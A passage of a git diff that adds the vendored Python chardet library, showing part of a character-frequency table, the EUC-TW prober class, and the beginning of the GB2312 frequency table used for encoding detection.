+4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 +2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 + 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 +2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 +1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 +2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 +2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 +4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 +7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 +1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 +3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 +7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 +1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 +8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 +2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 +8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 +2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 +2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 +8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 +8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 +8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 + 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 +8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 +4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 +3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 +8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 +1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 +8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 + 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 +1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 + 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 +4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 +1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 +4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 +1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 + 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 +3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 +4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 +8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 + 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 +3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 + 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 +2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 +) + diff --git a/src/thirdparty/chardet/euctwprober.py b/src/thirdparty/chardet/euctwprober.py new file mode 100644 index 0000000000..35669cc4dd --- /dev/null +++ b/src/thirdparty/chardet/euctwprober.py @@ -0,0 +1,46 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCTWDistributionAnalysis +from .mbcssm import EUCTW_SM_MODEL + +class EUCTWProber(MultiByteCharSetProber): + def __init__(self): + super(EUCTWProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCTW_SM_MODEL) + self.distribution_analyzer = EUCTWDistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "EUC-TW" + + @property + def language(self): + return "Taiwan" diff --git a/src/thirdparty/chardet/gb2312freq.py b/src/thirdparty/chardet/gb2312freq.py new file mode 100644 index 0000000000..697837bd9a --- /dev/null +++ b/src/thirdparty/chardet/gb2312freq.py @@ -0,0 +1,283 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# GB2312 most frequently used character table +# +# Char to FreqOrder table , from hz6763 + +# 512 --> 0.79 -- 0.79 +# 1024 --> 0.92 -- 0.13 +# 2048 --> 0.98 -- 0.06 +# 6768 --> 1.00 -- 0.02 +# +# Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79 +# Random Distribution Ration = 512 / (3755 - 512) = 0.157 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR + +GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9 + +GB2312_TABLE_SIZE = 3760 + +GB2312_CHAR_TO_FREQ_ORDER = ( +1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, +2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, +2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, + 249,4088,1746,1873,2047,1774, 581,1813, 358,1174,3590,1014,1561,4844,2245, 670, +1636,3112, 889,1286, 953, 556,2327,3060,1290,3141, 613, 185,3477,1367, 850,3820, +1715,2428,2642,2303,2732,3041,2562,2648,3566,3946,1349, 388,3098,2091,1360,3585, + 152,1687,1539, 738,1559, 59,1232,2925,2267,1388,1249,1741,1679,2960, 151,1566, +1125,1352,4271, 924,4296, 385,3166,4459, 310,1245,2850, 70,3285,2729,3534,3575, +2398,3298,3466,1960,2265, 217,3647, 864,1909,2084,4401,2773,1010,3269,5152, 853, +3051,3121,1244,4251,1895, 364,1499,1540,2313,1180,3655,2268, 562, 715,2417,3061, + 544, 336,3768,2380,1752,4075, 950, 280,2425,4382, 183,2759,3272, 333,4297,2155, +1688,2356,1444,1039,4540, 736,1177,3349,2443,2368,2144,2225, 565, 196,1482,3406, + 927,1335,4147, 692, 878,1311,1653,3911,3622,1378,4200,1840,2969,3149,2126,1816, +2534,1546,2393,2760, 737,2494, 13, 447, 245,2747, 38,2765,2129,2589,1079, 606, + 360, 471,3755,2890, 404, 848, 699,1785,1236, 370,2221,1023,3746,2074,2026,2023, +2388,1581,2119, 812,1141,3091,2536,1519, 804,2053, 406,1596,1090, 784, 548,4414, +1806,2264,2936,1100, 343,4114,5096, 622,3358, 743,3668,1510,1626,5020,3567,2513, +3195,4115,5627,2489,2991, 24,2065,2697,1087,2719, 48,1634, 315, 68, 985,2052, + 198,2239,1347,1107,1439, 597,2366,2172, 871,3307, 919,2487,2790,1867, 236,2570, +1413,3794, 906,3365,3381,1701,1982,1818,1524,2924,1205, 616,2586,2072,2004, 575, + 253,3099, 32,1365,1182, 197,1714,2454,1201, 554,3388,3224,2748, 756,2587, 250, +2567,1507,1517,3529,1922,2761,2337,3416,1961,1677,2452,2238,3153, 615, 911,1506, +1474,2495,1265,1906,2749,3756,3280,2161, 898,2714,1759,3450,2243,2444, 563, 26, +3286,2266,3769,3344,2707,3677, 611,1402, 531,1028,2871,4548,1375, 261,2948, 835, +1190,4134, 353, 840,2684,1900,3082,1435,2109,1207,1674, 329,1872,2781,4055,2686, +2104, 608,3318,2423,2957,2768,1108,3739,3512,3271,3985,2203,1771,3520,1418,2054, +1681,1153, 225,1627,2929, 162,2050,2511,3687,1954, 124,1859,2431,1684,3032,2894, + 585,4805,3969,2869,2704,2088,2032,2095,3656,2635,4362,2209, 256, 518,2042,2105, +3777,3657, 643,2298,1148,1779, 190, 989,3544, 414, 11,2135,2063,2979,1471, 403, +3678, 126, 770,1563, 671,2499,3216,2877, 600,1179, 307,2805,4937,1268,1297,2694, + 252,4032,1448,1494,1331,1394, 127,2256, 222,1647,1035,1481,3056,1915,1048, 873, +3651, 210, 33,1608,2516, 200,1520, 415, 102, 0,3389,1287, 817, 91,3299,2940, + 836,1814, 549,2197,1396,1669,2987,3582,2297,2848,4528,1070, 687, 20,1819, 121, +1552,1364,1461,1968,2617,3540,2824,2083, 177, 948,4938,2291, 110,4549,2066, 648, +3359,1755,2110,2114,4642,4845,1693,3937,3308,1257,1869,2123, 208,1804,3159,2992, +2531,2549,3361,2418,1350,2347,2800,2568,1291,2036,2680, 72, 842,1990, 212,1233, +1154,1586, 75,2027,3410,4900,1823,1337,2710,2676, 728,2810,1522,3026,4995, 157, + 755,1050,4022, 710, 785,1936,2194,2085,1406,2777,2400, 150,1250,4049,1206, 807, +1910, 534, 529,3309,1721,1660, 274, 39,2827, 661,2670,1578, 925,3248,3815,1094, +4278,4901,4252, 41,1150,3747,2572,2227,4501,3658,4902,3813,3357,3617,2884,2258, + 887, 538,4187,3199,1294,2439,3042,2329,2343,2497,1255, 107, 543,1527, 521,3478, +3568, 194,5062, 15, 961,3870,1241,1192,2664, 66,5215,3260,2111,1295,1127,2152, +3805,4135, 901,1164,1976, 398,1278, 530,1460, 748, 904,1054,1966,1426, 53,2909, + 509, 523,2279,1534, 536,1019, 239,1685, 460,2353, 673,1065,2401,3600,4298,2272, +1272,2363, 284,1753,3679,4064,1695, 81, 815,2677,2757,2731,1386, 859, 500,4221, +2190,2566, 757,1006,2519,2068,1166,1455, 337,2654,3203,1863,1682,1914,3025,1252, +1409,1366, 847, 714,2834,2038,3209, 964,2970,1901, 885,2553,1078,1756,3049, 301, +1572,3326, 688,2130,1996,2429,1805,1648,2930,3421,2750,3652,3088, 262,1158,1254, + 389,1641,1812, 526,1719, 923,2073,1073,1902, 468, 489,4625,1140, 857,2375,3070, +3319,2863, 380, 116,1328,2693,1161,2244, 273,1212,1884,2769,3011,1775,1142, 461, +3066,1200,2147,2212, 790, 702,2695,4222,1601,1058, 434,2338,5153,3640, 67,2360, +4099,2502, 618,3472,1329, 416,1132, 830,2782,1807,2653,3211,3510,1662, 192,2124, + 296,3979,1739,1611,3684, 23, 118, 324, 446,1239,1225, 293,2520,3814,3795,2535, +3116, 17,1074, 467,2692,2201, 387,2922, 45,1326,3055,1645,3659,2817, 958, 243, +1903,2320,1339,2825,1784,3289, 356, 576, 865,2315,2381,3377,3916,1088,3122,1713, +1655, 935, 628,4689,1034,1327, 441, 800, 720, 894,1979,2183,1528,5289,2702,1071, +4046,3572,2399,1571,3281, 79, 761,1103, 327, 134, 758,1899,1371,1615, 879, 442, + 215,2605,2579, 173,2048,2485,1057,2975,3317,1097,2253,3801,4263,1403,1650,2946, + 814,4968,3487,1548,2644,1567,1285, 2, 295,2636, 97, 946,3576, 832, 141,4257, +3273, 760,3821,3521,3156,2607, 949,1024,1733,1516,1803,1920,2125,2283,2665,3180, +1501,2064,3560,2171,1592, 803,3518,1416, 732,3897,4258,1363,1362,2458, 119,1427, + 602,1525,2608,1605,1639,3175, 694,3064, 10, 465, 76,2000,4846,4208, 444,3781, +1619,3353,2206,1273,3796, 740,2483, 320,1723,2377,3660,2619,1359,1137,1762,1724, +2345,2842,1850,1862, 912, 821,1866, 612,2625,1735,2573,3369,1093, 844, 89, 937, + 930,1424,3564,2413,2972,1004,3046,3019,2011, 711,3171,1452,4178, 428, 801,1943, + 432, 445,2811, 206,4136,1472, 730, 349, 73, 397,2802,2547, 998,1637,1167, 789, + 396,3217, 154,1218, 716,1120,1780,2819,4826,1931,3334,3762,2139,1215,2627, 552, +3664,3628,3232,1405,2383,3111,1356,2652,3577,3320,3101,1703, 640,1045,1370,1246, +4996, 371,1575,2436,1621,2210, 984,4033,1734,2638, 16,4529, 663,2755,3255,1451, +3917,2257,1253,1955,2234,1263,2951, 214,1229, 617, 485, 359,1831,1969, 473,2310, + 750,2058, 165, 80,2864,2419, 361,4344,2416,2479,1134, 796,3726,1266,2943, 860, +2715, 938, 390,2734,1313,1384, 248, 202, 877,1064,2854, 522,3907, 279,1602, 297, +2357, 395,3740, 137,2075, 944,4089,2584,1267,3802, 62,1533,2285, 178, 176, 780, +2440, 201,3707, 590, 478,1560,4354,2117,1075, 30, 74,4643,4004,1635,1441,2745, + 776,2596, 238,1077,1692,1912,2844, 605, 499,1742,3947, 241,3053, 980,1749, 936, +2640,4511,2582, 515,1543,2162,5322,2892,2993, 890,2148,1924, 665,1827,3581,1032, + 968,3163, 339,1044,1896, 270, 583,1791,1720,4367,1194,3488,3669, 43,2523,1657, + 163,2167, 290,1209,1622,3378, 550, 634,2508,2510, 695,2634,2384,2512,1476,1414, + 220,1469,2341,2138,2852,3183,2900,4939,2865,3502,1211,3680, 854,3227,1299,2976, +3172, 186,2998,1459, 443,1067,3251,1495, 321,1932,3054, 909, 753,1410,1828, 436, +2441,1119,1587,3164,2186,1258, 227, 231,1425,1890,3200,3942, 247, 959, 725,5254, +2741, 577,2158,2079, 929, 120, 174, 838,2813, 591,1115, 417,2024, 40,3240,1536, +1037, 291,4151,2354, 632,1298,2406,2500,3535,1825,1846,3451, 205,1171, 345,4238, + 18,1163, 811, 685,2208,1217, 425,1312,1508,1175,4308,2552,1033, 587,1381,3059, +2984,3482, 340,1316,4023,3972, 792,3176, 519, 777,4690, 918, 933,4130,2981,3741, + 90,3360,2911,2200,5184,4550, 609,3079,2030, 272,3379,2736, 363,3881,1130,1447, + 286, 779, 357,1169,3350,3137,1630,1220,2687,2391, 747,1277,3688,2618,2682,2601, +1156,3196,5290,4034,3102,1689,3596,3128, 874, 219,2783, 798, 508,1843,2461, 269, +1658,1776,1392,1913,2983,3287,2866,2159,2372, 829,4076, 46,4253,2873,1889,1894, + 915,1834,1631,2181,2318, 298, 664,2818,3555,2735, 954,3228,3117, 527,3511,2173, + 681,2712,3033,2247,2346,3467,1652, 155,2164,3382, 113,1994, 450, 899, 494, 994, +1237,2958,1875,2336,1926,3727, 545,1577,1550, 633,3473, 204,1305,3072,2410,1956, +2471, 707,2134, 841,2195,2196,2663,3843,1026,4940, 990,3252,4997, 368,1092, 437, +3212,3258,1933,1829, 675,2977,2893, 412, 943,3723,4644,3294,3283,2230,2373,5154, +2389,2241,2661,2323,1404,2524, 593, 787, 677,3008,1275,2059, 438,2709,2609,2240, +2269,2246,1446, 36,1568,1373,3892,1574,2301,1456,3962, 693,2276,5216,2035,1143, +2720,1919,1797,1811,2763,4137,2597,1830,1699,1488,1198,2090, 424,1694, 312,3634, +3390,4179,3335,2252,1214, 561,1059,3243,2295,2561, 975,5155,2321,2751,3772, 472, +1537,3282,3398,1047,2077,2348,2878,1323,3340,3076, 690,2906, 51, 369, 170,3541, +1060,2187,2688,3670,2541,1083,1683, 928,3918, 459, 109,4427, 599,3744,4286, 143, +2101,2730,2490, 82,1588,3036,2121, 281,1860, 477,4035,1238,2812,3020,2716,3312, +1530,2188,2055,1317, 843, 636,1808,1173,3495, 649, 181,1002, 147,3641,1159,2414, +3750,2289,2795, 813,3123,2610,1136,4368, 5,3391,4541,2174, 420, 429,1728, 754, +1228,2115,2219, 347,2223,2733, 735,1518,3003,2355,3134,1764,3948,3329,1888,2424, +1001,1234,1972,3321,3363,1672,1021,1450,1584, 226, 765, 655,2526,3404,3244,2302, +3665, 731, 594,2184, 319,1576, 621, 658,2656,4299,2099,3864,1279,2071,2598,2739, + 795,3086,3699,3908,1707,2352,2402,1382,3136,2475,1465,4847,3496,3865,1085,3004, +2591,1084, 213,2287,1963,3565,2250, 822, 793,4574,3187,1772,1789,3050, 595,1484, +1959,2770,1080,2650, 456, 422,2996, 940,3322,4328,4345,3092,2742, 965,2784, 739, +4124, 952,1358,2498,2949,2565, 332,2698,2378, 660,2260,2473,4194,3856,2919, 535, +1260,2651,1208,1428,1300,1949,1303,2942, 433,2455,2450,1251,1946, 614,1269, 641, +1306,1810,2737,3078,2912, 564,2365,1419,1415,1497,4460,2367,2185,1379,3005,1307, +3218,2175,1897,3063, 682,1157,4040,4005,1712,1160,1941,1399, 394, 402,2952,1573, +1151,2986,2404, 862, 299,2033,1489,3006, 346, 171,2886,3401,1726,2932, 168,2533, + 47,2507,1030,3735,1145,3370,1395,1318,1579,3609,4560,2857,4116,1457,2529,1965, + 504,1036,2690,2988,2405, 745,5871, 849,2397,2056,3081, 863,2359,3857,2096, 99, +1397,1769,2300,4428,1643,3455,1978,1757,3718,1440, 35,4879,3742,1296,4228,2280, + 160,5063,1599,2013, 166, 520,3479,1646,3345,3012, 490,1937,1545,1264,2182,2505, +1096,1188,1369,1436,2421,1667,2792,2460,1270,2122, 727,3167,2143, 806,1706,1012, +1800,3037, 960,2218,1882, 805, 139,2456,1139,1521, 851,1052,3093,3089, 342,2039, + 744,5097,1468,1502,1585,2087, 223, 939, 326,2140,2577, 892,2481,1623,4077, 982, +3708, 135,2131, 87,2503,3114,2326,1106, 876,1616, 547,2997,2831,2093,3441,4530, +4314, 9,3256,4229,4148, 659,1462,1986,1710,2046,2913,2231,4090,4880,5255,3392, +3274,1368,3689,4645,1477, 705,3384,3635,1068,1529,2941,1458,3782,1509, 100,1656, +2548, 718,2339, 408,1590,2780,3548,1838,4117,3719,1345,3530, 717,3442,2778,3220, +2898,1892,4590,3614,3371,2043,1998,1224,3483, 891, 635, 584,2559,3355, 733,1766, +1729,1172,3789,1891,2307, 781,2982,2271,1957,1580,5773,2633,2005,4195,3097,1535, +3213,1189,1934,5693,3262, 586,3118,1324,1598, 517,1564,2217,1868,1893,4445,3728, +2703,3139,1526,1787,1992,3882,2875,1549,1199,1056,2224,1904,2711,5098,4287, 338, +1993,3129,3489,2689,1809,2815,1997, 957,1855,3898,2550,3275,3057,1105,1319, 627, +1505,1911,1883,3526, 698,3629,3456,1833,1431, 746, 77,1261,2017,2296,1977,1885, + 125,1334,1600, 525,1798,1109,2222,1470,1945, 559,2236,1186,3443,2476,1929,1411, +2411,3135,1777,3372,2621,1841,1613,3229, 668,1430,1839,2643,2916, 195,1989,2671, +2358,1387, 629,3205,2293,5256,4439, 123,1310, 888,1879,4300,3021,3605,1003,1162, +3192,2910,2010, 140,2395,2859, 55,1082,2012,2901, 662, 419,2081,1438, 680,2774, +4654,3912,1620,1731,1625,5035,4065,2328, 512,1344, 802,5443,2163,2311,2537, 524, +3399, 98,1155,2103,1918,2606,3925,2816,1393,2465,1504,3773,2177,3963,1478,4346, + 180,1113,4655,3461,2028,1698, 833,2696,1235,1322,1594,4408,3623,3013,3225,2040, +3022, 541,2881, 607,3632,2029,1665,1219, 639,1385,1686,1099,2803,3231,1938,3188, +2858, 427, 676,2772,1168,2025, 454,3253,2486,3556, 230,1950, 580, 791,1991,1280, +1086,1974,2034, 630, 257,3338,2788,4903,1017, 86,4790, 966,2789,1995,1696,1131, + 259,3095,4188,1308, 179,1463,5257, 289,4107,1248, 42,3413,1725,2288, 896,1947, + 774,4474,4254, 604,3430,4264, 392,2514,2588, 452, 237,1408,3018, 988,4531,1970, +3034,3310, 540,2370,1562,1288,2990, 502,4765,1147, 4,1853,2708, 207, 294,2814, +4078,2902,2509, 684, 34,3105,3532,2551, 644, 709,2801,2344, 573,1727,3573,3557, +2021,1081,3100,4315,2100,3681, 199,2263,1837,2385, 146,3484,1195,2776,3949, 997, +1939,3973,1008,1091,1202,1962,1847,1149,4209,5444,1076, 493, 117,5400,2521, 972, +1490,2934,1796,4542,2374,1512,2933,2657, 413,2888,1135,2762,2314,2156,1355,2369, + 766,2007,2527,2170,3124,2491,2593,2632,4757,2437, 234,3125,3591,1898,1750,1376, +1942,3468,3138, 570,2127,2145,3276,4131, 962, 132,1445,4196, 19, 941,3624,3480, +3366,1973,1374,4461,3431,2629, 283,2415,2275, 808,2887,3620,2112,2563,1353,3610, + 955,1089,3103,1053, 96, 88,4097, 823,3808,1583, 399, 292,4091,3313, 421,1128, + 642,4006, 903,2539,1877,2082, 596, 29,4066,1790, 722,2157, 130, 995,1569, 769, +1485, 464, 513,2213, 288,1923,1101,2453,4316, 133, 486,2445, 50, 625, 487,2207, + 57, 423, 481,2962, 159,3729,1558, 491, 303, 482, 501, 240,2837, 112,3648,2392, +1783, 362, 8,3433,3422, 610,2793,3277,1390,1284,1654, 21,3823, 734, 367, 623, + 193, 287, 374,1009,1483, 816, 476, 313,2255,2340,1262,2150,2899,1146,2581, 782, +2116,1659,2018,1880, 255,3586,3314,1110,2867,2137,2564, 986,2767,5185,2006, 650, + 158, 926, 762, 881,3157,2717,2362,3587, 306,3690,3245,1542,3077,2427,1691,2478, +2118,2985,3490,2438, 539,2305, 983, 129,1754, 355,4201,2386, 827,2923, 104,1773, +2838,2771, 411,2905,3919, 376, 767, 122,1114, 828,2422,1817,3506, 266,3460,1007, +1609,4998, 945,2612,4429,2274, 726,1247,1964,2914,2199,2070,4002,4108, 657,3323, +1422, 579, 455,2764,4737,1222,2895,1670, 824,1223,1487,2525, 558, 861,3080, 598, +2659,2515,1967, 752,2583,2376,2214,4180, 977, 704,2464,4999,2622,4109,1210,2961, + 819,1541, 142,2284, 44, 418, 457,1126,3730,4347,4626,1644,1876,3671,1864, 302, +1063,5694, 624, 723,1984,3745,1314,1676,2488,1610,1449,3558,3569,2166,2098, 409, +1011,2325,3704,2306, 818,1732,1383,1824,1844,3757, 999,2705,3497,1216,1423,2683, +2426,2954,2501,2726,2229,1475,2554,5064,1971,1794,1666,2014,1343, 783, 724, 191, +2434,1354,2220,5065,1763,2752,2472,4152, 131, 175,2885,3434, 92,1466,4920,2616, +3871,3872,3866, 128,1551,1632, 669,1854,3682,4691,4125,1230, 188,2973,3290,1302, +1213, 560,3266, 917, 763,3909,3249,1760, 868,1958, 764,1782,2097, 145,2277,3774, +4462, 64,1491,3062, 971,2132,3606,2442, 221,1226,1617, 218, 323,1185,3207,3147, + 571, 619,1473,1005,1744,2281, 449,1887,2396,3685, 275, 375,3816,1743,3844,3731, + 845,1983,2350,4210,1377, 773, 967,3499,3052,3743,2725,4007,1697,1022,3943,1464, +3264,2855,2722,1952,1029,2839,2467, 84,4383,2215, 820,1391,2015,2448,3672, 377, +1948,2168, 797,2545,3536,2578,2645, 94,2874,1678, 405,1259,3071, 771, 546,1315, + 470,1243,3083, 895,2468, 981, 969,2037, 846,4181, 653,1276,2928, 14,2594, 557, +3007,2474, 156, 902,1338,1740,2574, 537,2518, 973,2282,2216,2433,1928, 138,2903, +1293,2631,1612, 646,3457, 839,2935, 111, 496,2191,2847, 589,3186, 149,3994,2060, +4031,2641,4067,3145,1870, 37,3597,2136,1025,2051,3009,3383,3549,1121,1016,3261, +1301, 251,2446,2599,2153, 872,3246, 637, 334,3705, 831, 884, 921,3065,3140,4092, +2198,1944, 246,2964, 108,2045,1152,1921,2308,1031, 203,3173,4170,1907,3890, 810, +1401,2003,1690, 506, 647,1242,2828,1761,1649,3208,2249,1589,3709,2931,5156,1708, + 498, 666,2613, 834,3817,1231, 184,2851,1124, 883,3197,2261,3710,1765,1553,2658, +1178,2639,2351, 93,1193, 942,2538,2141,4402, 235,1821, 870,1591,2192,1709,1871, +3341,1618,4126,2595,2334, 603, 651, 69, 701, 268,2662,3411,2555,1380,1606, 503, + 448, 254,2371,2646, 574,1187,2309,1770, 322,2235,1292,1801, 305, 566,1133, 229, +2067,2057, 706, 167, 483,2002,2672,3295,1820,3561,3067, 316, 378,2746,3452,1112, + 136,1981, 507,1651,2917,1117, 285,4591, 182,2580,3522,1304, 335,3303,1835,2504, +1795,1792,2248, 674,1018,2106,2449,1857,2292,2845, 976,3047,1781,2600,2727,1389, +1281, 52,3152, 153, 265,3950, 672,3485,3951,4463, 430,1183, 365, 278,2169, 27, +1407,1336,2304, 209,1340,1730,2202,1852,2403,2883, 979,1737,1062, 631,2829,2542, +3876,2592, 825,2086,2226,3048,3625, 352,1417,3724, 542, 991, 431,1351,3938,1861, +2294, 826,1361,2927,3142,3503,1738, 463,2462,2723, 582,1916,1595,2808, 400,3845, +3891,2868,3621,2254, 58,2492,1123, 910,2160,2614,1372,1603,1196,1072,3385,1700, +3267,1980, 696, 480,2430, 920, 799,1570,2920,1951,2041,4047,2540,1321,4223,2469, +3562,2228,1271,2602, 401,2833,3351,2575,5157, 907,2312,1256, 410, 263,3507,1582, + 996, 678,1849,2316,1480, 908,3545,2237, 703,2322, 667,1826,2849,1531,2604,2999, +2407,3146,2151,2630,1786,3711, 469,3542, 497,3899,2409, 858, 837,4446,3393,1274, + 786, 620,1845,2001,3311, 484, 308,3367,1204,1815,3691,2332,1532,2557,1842,2020, +2724,1927,2333,4440, 567, 22,1673,2728,4475,1987,1858,1144,1597, 101,1832,3601, + 12, 974,3783,4391, 951,1412, 1,3720, 453,4608,4041, 528,1041,1027,3230,2628, +1129, 875,1051,3291,1203,2262,1069,2860,2799,2149,2615,3278, 144,1758,3040, 31, + 475,1680, 366,2685,3184, 311,1642,4008,2466,5036,1593,1493,2809, 216,1420,1668, + 233, 304,2128,3284, 232,1429,1768,1040,2008,3407,2740,2967,2543, 242,2133, 778, +1565,2022,2620, 505,2189,2756,1098,2273, 372,1614, 708, 553,2846,2094,2278, 169, +3626,2835,4161, 228,2674,3165, 809,1454,1309, 466,1705,1095, 900,3423, 880,2667, +3751,5258,2317,3109,2571,4317,2766,1503,1342, 866,4447,1118, 63,2076, 314,1881, +1348,1061, 172, 978,3515,1747, 532, 511,3970, 6, 601, 905,2699,3300,1751, 276, +1467,3725,2668, 65,4239,2544,2779,2556,1604, 578,2451,1802, 992,2331,2624,1320, +3446, 713,1513,1013, 103,2786,2447,1661, 886,1702, 916, 654,3574,2031,1556, 751, +2178,2821,2179,1498,1538,2176, 271, 914,2251,2080,1325, 638,1953,2937,3877,2432, +2754, 95,3265,1716, 260,1227,4083, 775, 106,1357,3254, 426,1607, 555,2480, 772, +1985, 244,2546, 474, 495,1046,2611,1851,2061, 71,2089,1675,2590, 742,3758,2843, +3222,1433, 267,2180,2576,2826,2233,2092,3913,2435, 956,1745,3075, 856,2113,1116, + 451, 3,1988,2896,1398, 993,2463,1878,2049,1341,2718,2721,2870,2108, 712,2904, +4363,2753,2324, 277,2872,2349,2649, 384, 987, 435, 691,3000, 922, 164,3939, 652, +1500,1184,4153,2482,3373,2165,4848,2335,3775,3508,3154,2806,2830,1554,2102,1664, +2530,1434,2408, 893,1547,2623,3447,2832,2242,2532,3169,2856,3223,2078, 49,3770, +3469, 462, 318, 656,2259,3250,3069, 679,1629,2758, 344,1138,1104,3120,1836,1283, +3115,2154,1437,4448, 934, 759,1999, 794,2862,1038, 533,2560,1722,2342, 855,2626, +1197,1663,4476,3127, 85,4240,2528, 25,1111,1181,3673, 407,3470,4561,2679,2713, + 768,1925,2841,3986,1544,1165, 932, 373,1240,2146,1930,2673, 721,4766, 354,4333, + 391,2963, 187, 61,3364,1442,1102, 330,1940,1767, 341,3809,4118, 393,2496,2062, +2211, 105, 331, 300, 439, 913,1332, 626, 379,3304,1557, 328, 689,3952, 309,1555, + 931, 